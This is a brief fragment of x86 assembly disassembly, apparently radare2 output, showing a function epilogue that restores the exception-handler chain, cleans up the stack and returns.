jmp 0x4749fb
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x20]
push edx
mov ecx, ebp
push eax
lea edx, [0x474a2c]
call fcn.0040728e
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x4c
cmp ebp, esp
call fcn.00406e97
mov esp, ebp
pop ebp
ret